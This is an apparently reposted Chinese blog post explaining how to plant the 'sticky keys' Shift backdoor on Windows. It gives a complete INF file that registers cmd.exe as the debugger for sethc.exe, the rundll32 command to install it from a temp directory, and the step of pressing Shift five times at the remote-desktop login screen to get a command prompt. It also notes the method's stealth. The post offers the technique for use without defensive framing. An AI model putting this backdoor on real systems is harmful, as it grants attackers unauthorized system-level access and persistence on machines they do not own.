利用inf文件添加shift后门
来源:互联网 发布:debian ubuntu 内存 编辑:程序博客网 时间:2024/05/18 03:57
利用inf文件添加shift后门
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe,debugger,0x00000000,c:\\windows\\system32\\cmd.exe
然后上传到一个可以执行目录,比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf
然后远程登录3389,按5下shift即可跳出cmd.exe
为什么要命令行?隐蔽性?大家自行掂量
- 利用inf文件添加shift后门
- 添加SHIFT后门又一法
- shift这个后门
- shift后门的一个分析
- shift后门制作和禁止
- 小学生都能懂的shift后门
- 利用 cmd 安装驱动 inf 文件
- 利用INF文件来修改注册表
- 3389之永不查杀的后门shift后门代码
- xp下利用控制面板的cpl文件留后门
- 利用FinalData恢复shift+delete误删的文件
- 利用FinalData恢复shift+delete误删的文件
- 代码实现利用inf文件安装硬件驱动
- INF文件
- INF文件
- INF文件
- INF文件
- Inf文件
- 提供 云上有价值的服务
- onAttachedToWindow () 和 onDetachedFromWindow ()
- 设计模式--观察者模式(行为类模式)
- VC++多线程编程实例讲解(入门)
- Android源码二次开发+ubantu11.10配置Android 开发环境
- 利用inf文件添加shift后门
- cannot convert parameter 1 from 'std::string' to 'const char *'
- UIImageView
- SAS接口完全互连指南(SATA到MINI SAS发展履历)
- pkm的linq to Entities学习1
- poj 1703 java
- 使用备份数据库.bal文件还原正在使用的数据库
- C++多线程编程简单实例
- POJ 3104 Drying (神题 啊 ~) -- from lanshui_Yang